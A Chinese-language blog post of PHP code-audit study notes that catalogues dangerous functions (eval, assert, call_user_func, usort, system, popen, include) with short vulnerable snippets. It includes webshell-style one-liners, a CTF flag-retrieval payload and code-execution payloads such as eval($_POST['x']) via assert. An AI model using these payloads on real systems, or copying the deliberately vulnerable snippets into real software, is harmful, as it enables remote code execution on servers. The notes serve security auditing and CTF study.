代码审计学习的一些笔记
代码审计-常见php威胁函数(上)
文章来自成都知道创宇
1.常见php回调函数,可调用其他命令/代码执行函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| call_user_func()
call_user_func_array()
create_function()
array_walk()
array_map()
array_filter()
usort()
ob_start()
可变函数$_GET['a']($_GET['b'])
|
2.常见php可执行系统命令的函数:
system()、passthru()、exec()、shell_exec()、 pcntl_exec()、popen()、proc_open()
3.常见php可代码执行的函数:
eval()、assert()、preg_replace()、$
4.禁用危险函数:
php配置文件php.ini里有个disable_functions = 配置选项,可自定义禁用某些php危险函数.如:disable_functions =system,passthru,shell_exec,exec,popen
一、可执行php代码的函数
1
| <?php eval($_GET['cmd']); assert($_GET['cmd']); ?>
|
php 7.1.7 ,已经无法用call_user_func回调调用 test.php?cmd=phpinfo(); preg_replace() 5.6以下可以执行 5.6以上仍然可以执行,但是会有警告 PHP7后已经不支持/e修饰符 preg_replace(“/test/e”,$_GET[“h”],”jutst test”); //将jutst test以/test正则匹配以h来替换 /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码 ?h=phpinfo() ${phpinfo()}
二、常见php回调函数,可调用其他命令/代码执行函数:
1) call_user_func()
call_user_func
— 把第一个参数作为回调函数调用, 其余参数是回调函数的参数
回调函数
1 2 3 4 5
| <?php call_user_func($_GET['a1'],$_GET['a2']);
?>
|
调用类中的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } }
call_user_func($_POST['ctfshow']);
|
1 2 3 4 5
| php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法.
|
所以这里payload
为
1
| ctfshow=ctfshow::getFlag
|
调用类中的函数【数组】
1 2 3 4 5 6 7
| call_user_func()参数不仅可以是字符串,还有 数组形式!
call_user_func(array($classname, 'say_hello')); 调用classname这个类里的sya_hello方法
array[0]=$classname 类名 array[1]=say_hello say_hello()方法
|
按照上述格式得到payload:
ctfshow[]=ctfshow&ctfshow[]=getFlag #POST
2)call_user_func_array()
call_user_func_array()把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入
1 2 3 4 5
| <?php call_user_func_array($_GET['a1'],$_GET['a2']);
?>
|
3)create_function()
创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值
1 2 3 4
| <?php $b=create_function('', @$_REQUEST['a']);$b();
?>
|
4) array_walk()
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
1 2 3 4 5
| <?php array_walk($_GET['a'],$_GET['b']);
?>
|
5)array_map()
array_map()为数组的每个元素应用回调函数。返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
1 2 3 4 5 6 7 8
| <?php array_map($_GET['a'],$_GET['b']);
?>
|
6) array_filter()
array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true, 则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
1 2 3 4 5
| <?php array_filter(array($_GET['cmd']),$_GET['func']);
?>
|
7) 可变函数$var(args)
PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数, 并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
1 2 3 4 5
| <?php $_GET['a']($_GET['b']);
?>
|
8) usort()
本函数将用用户自定义的比较函数对一个数组中的值进行排序 php5.6之前可以
1 2 3 4 5
| <?php usort(...$_GET); ?>
payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert POST传参: x=phpinfo();
|
9)uasort
php5.6 php7不可以
1 2 3 4 5 6 7
| <?php $a = $_GET['a']; $onearray = array('Ameng', $_POST['x']); uasort($onearray, $a); ?> payload: 1.php?a=assert POST传参: x=phpinfo();
|
10)ob_start
ob_start — 打开输出控制缓冲
1 2 3 4 5 6 7 8
| <?php $foobar = $_GET['b']; ob_start($foobar); echo $_GET['h']; ob_end_flush(); ?>
/test.php?h=whoami&b=system
|
三、常见php可执行系统命令的函数:
1) system()
1
| <?php system($_GET['a']);
|
2) passthru()
1
| <?php passthru($_GET['a']);
|
3) exec()
1 2 3 4 5
| <?php $output = exec($_GET['a']); echo "<pre>$output</pre>";
?>
|
4) shell_exec()
1 2 3 4 5
| <?php $output = shell_exec($_GET['a']); echo "<pre>$output</pre>";
?>
|
5) pcntl_exec()
要求:linux系统特有模块,需编译选项中存在—enable-pcntl
1
| <?php pcntl_exec( "/bin/bash" , array("whoami")); ?>
|
6) popen()
popen — 打开进程文件指针。打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
1 2 3 4 5 6 7 8 9 10 11 12
| popen — 打开进程文件指针。打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生 <?php $test = $_GET['h']; $fp = popen($test,"r"); while (!feof($fp)) { $out = fgets($fp, 4096); echo $out; } pclose($fp); ?>
|
7) proc_open()
类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力 <?php $test = "whoami"; $array = array( array("pipe","r"), array("pipe","w"), array("pipe","w") ); $fp = proc_open($test,$array,$pipes); echo stream_get_contents($pipes[1]); proc_close($fp); ?>
|
8) 反单引号
四、文件包含
include将会包含语句并执行指定文件 PHP的配置文件allowurlfopen和allow_url_include设置为ON include/require等包含函数可以加载远程文件 include include_once requeire require_once
1 2 3 4 5
| <?php highlight_file(__FILE); $file = $_GET['file']; include $file; ?>
|
六、文件操作类威胁函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 1.file_put_contents
2.file_put_contents($file, $string);
3.copy highlight_file()
4.fopen()
5.read file()
6.fread()
7.fgetss()
8.fgets()
9.parse_ini_file()
10.show_source()
11.file()
|